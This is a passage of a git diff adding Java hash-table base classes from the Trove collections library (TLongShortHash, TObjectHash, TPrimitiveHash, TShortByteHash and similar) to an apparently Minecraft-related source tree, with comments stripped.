+  public TLongLongHash(int initialCapacity, float loadFactor, long no_entry_key, long no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public long getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public long getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new long[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(long val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TLongProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(long key)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(long key)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeLong(no_entry_key);
+    
+
+    out.writeLong(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readLong();
+    
+
+    no_entry_value = in.readLong();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TLongShortHash.java b/src/minecraft/gnu/trove/impl/hash/TLongShortHash.java
new file mode 100644
index 0000000..1ada811
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TLongShortHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TLongProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TLongShortHash
+  extends TPrimitiveHash
+{
+  public transient long[] _set;
+  protected long no_entry_key;
+  protected short no_entry_value;
+  
+  public TLongShortHash()
+  {
+    no_entry_key = 0L;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+  public TLongShortHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0L;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public TLongShortHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0L;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TLongShortHash(int initialCapacity, float loadFactor, long no_entry_key, short no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public long getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public short getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new long[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(long val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TLongProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(long key)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(long key)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeLong(no_entry_key);
+    
+
+    out.writeShort(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readLong();
+    
+
+    no_entry_value = in.readShort();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TObjectHash.java b/src/minecraft/gnu/trove/impl/hash/TObjectHash.java
new file mode 100644
index 0000000..2e077a7
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TObjectHash.java
@@ -0,0 +1,312 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TObjectProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TObjectHash<T>
+  extends THash
+{
+  public static final Object FREE = new Object(); public static final Object REMOVED = new Object();
+  
+
+
+  public transient Object[] _set;
+  
+
+
+  static final long serialVersionUID = -3461112548087185871L;
+  
+
+
+
+  public TObjectHash() {}
+  
+
+
+
+  public TObjectHash(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TObjectHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+  public int capacity()
+  {
+    return _set.length;
+  }
+  
+  public void removeAt(int index)
+  {
+    _set[index] = REMOVED;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  public int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new Object[capacity];
+    Arrays.fill(_set, FREE);
+    return capacity;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean forEach(TObjectProcedure<T> procedure)
+  {
+    Object[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((set[i] != FREE) && (set[i] != REMOVED) && (!procedure.execute(set[i])))
+      {
+
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  public boolean contains(Object obj)
+  {
+    return index(obj) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  protected int index(Object obj)
+  {
+    Object[] set = _set;
+    int length = set.length;
+    int hash = HashFunctions.hash(obj) & 0x7FFFFFFF;
+    int index = hash % length;
+    Object cur = set[index];
+    
+    if (cur == obj) {
+      return index;
+    }
+    
+    if (cur == FREE) {
+      return -1;
+    }
+    
+
+    if ((cur == REMOVED) || (!cur.equals(obj)))
+    {
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+        cur = set[index];
+      }
+      while ((cur != FREE) && ((cur == REMOVED) || (!cur.equals(obj))));
+    }
+    
+    return cur == FREE ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(T obj)
+  {
+    Object[] set = _set;
+    int length = set.length;
+    int hash = HashFunctions.hash(obj) & 0x7FFFFFFF;
+    int index = hash % length;
+    Object cur = set[index];
+    
+    if (cur == FREE)
+      return index;
+    if ((cur == obj) || ((cur != REMOVED) && (cur.equals(obj)))) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+    if (cur != REMOVED)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+        cur = set[index];
+
+
+      }
+      while ((cur != FREE) && (cur != REMOVED) && (cur != obj) && (!cur.equals(obj)));
+    }
+    
+
+
+
+    if (cur == REMOVED) {
+      int firstRemoved = index;
+      
+      while ((cur != FREE) && ((cur == REMOVED) || (cur != obj) || (!cur.equals(obj)))) {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+        cur = set[index];
+      }
+      
+      return cur != FREE ? -index - 1 : firstRemoved;
+    }
+    
+
+    return cur != FREE ? -index - 1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  protected final void throwObjectContractViolation(Object o1, Object o2)
+    throws IllegalArgumentException
+  {
+    throw new IllegalArgumentException("Equal objects must have equal hashcodes. During rehashing, Trove discovered that the following two objects claim to be equal (as in java.lang.Object.equals()) but their hashCodes (or those calculated by your TObjectHashingStrategy) are not equal.This violates the general contract of java.lang.Object.hashCode().  See bullet point two in that method's documentation. object #1 =" + o1 + "; object #2 =" + o2);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TPrimitiveHash.java b/src/minecraft/gnu/trove/impl/hash/TPrimitiveHash.java
new file mode 100644
index 0000000..f1d7e75
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TPrimitiveHash.java
@@ -0,0 +1,134 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TPrimitiveHash
+  extends THash
+{
+  public transient byte[] _states;
+  public static final byte FREE = 0;
+  public static final byte FULL = 1;
+  public static final byte REMOVED = 2;
+  
+  public TPrimitiveHash() {}
+  
+  public TPrimitiveHash(int initialCapacity)
+  {
+    this(initialCapacity, 0.5F);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TPrimitiveHash(int initialCapacity, float loadFactor)
+  {
+    _loadFactor = loadFactor;
+    setUp(HashFunctions.fastCeil(initialCapacity / loadFactor));
+  }
+  
+
+
+
+
+
+
+  public int capacity()
+  {
+    return _states.length;
+  }
+  
+
+
+
+
+
+  protected void removeAt(int index)
+  {
+    _states[index] = 2;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _states = new byte[capacity];
+    return capacity;
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TShortByteHash.java b/src/minecraft/gnu/trove/impl/hash/TShortByteHash.java
new file mode 100644
index 0000000..8b0833e
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TShortByteHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TShortProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TShortByteHash
+  extends TPrimitiveHash
+{
+  public transient short[] _set;
+  protected short no_entry_key;
+  protected byte no_entry_value;
+  
+  public TShortByteHash()
+  {
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+  public TShortByteHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public TShortByteHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TShortByteHash(int initialCapacity, float loadFactor, short no_entry_key, byte no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public short getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public byte getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new short[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(short val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TShortProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(short key)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(short key)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeShort(no_entry_key);
+    
+
+    out.writeByte(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readShort();
+    
+
+    no_entry_value = in.readByte();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TShortCharHash.java b/src/minecraft/gnu/trove/impl/hash/TShortCharHash.java
new file mode 100644
index 0000000..dbf2f6d
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TShortCharHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TShortProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TShortCharHash
+  extends TPrimitiveHash
+{
+  public transient short[] _set;
+  protected short no_entry_key;
+  protected char no_entry_value;
+  
+  public TShortCharHash()
+  {
+    no_entry_key = 0;
+    no_entry_value = '\000';
+  }
+  
+
+
+
+
+
+
+
+  public TShortCharHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0;
+    no_entry_value = '\000';
+  }
+  
+
+
+
+
+
+
+
+
+  public TShortCharHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0;
+    no_entry_value = '\000';
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TShortCharHash(int initialCapacity, float loadFactor, short no_entry_key, char no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public short getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public char getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new short[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(short val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TShortProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(short key)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(short key)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeShort(no_entry_key);
+    
+
+    out.writeChar(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readShort();
+    
+
+    no_entry_value = in.readChar();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TShortDoubleHash.java b/src/minecraft/gnu/trove/impl/hash/TShortDoubleHash.java
new file mode 100644
index 0000000..495b12c
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TShortDoubleHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TShortProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TShortDoubleHash
+  extends TPrimitiveHash
+{
+  public transient short[] _set;
+  protected short no_entry_key;
+  protected double no_entry_value;
+  
+  public TShortDoubleHash()
+  {
+    no_entry_key = 0;
+    no_entry_value = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+  public TShortDoubleHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0;
+    no_entry_value = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+
+  public TShortDoubleHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0;
+    no_entry_value = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TShortDoubleHash(int initialCapacity, float loadFactor, short no_entry_key, double no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public short getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public double getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new short[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(short val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TShortProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(short key)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(short key)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeShort(no_entry_key);
+    
+
+    out.writeDouble(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readShort();
+    
+
+    no_entry_value = in.readDouble();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TShortFloatHash.java b/src/minecraft/gnu/trove/impl/hash/TShortFloatHash.java
new file mode 100644
index 0000000..b648bd8
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TShortFloatHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TShortProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TShortFloatHash
+  extends TPrimitiveHash
+{
+  public transient short[] _set;
+  protected short no_entry_key;
+  protected float no_entry_value;
+  
+  public TShortFloatHash()
+  {
+    no_entry_key = 0;
+    no_entry_value = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+  public TShortFloatHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0;
+    no_entry_value = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+
+  public TShortFloatHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0;
+    no_entry_value = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TShortFloatHash(int initialCapacity, float loadFactor, short no_entry_key, float no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public short getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public float getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new short[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(short val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TShortProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(short key)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
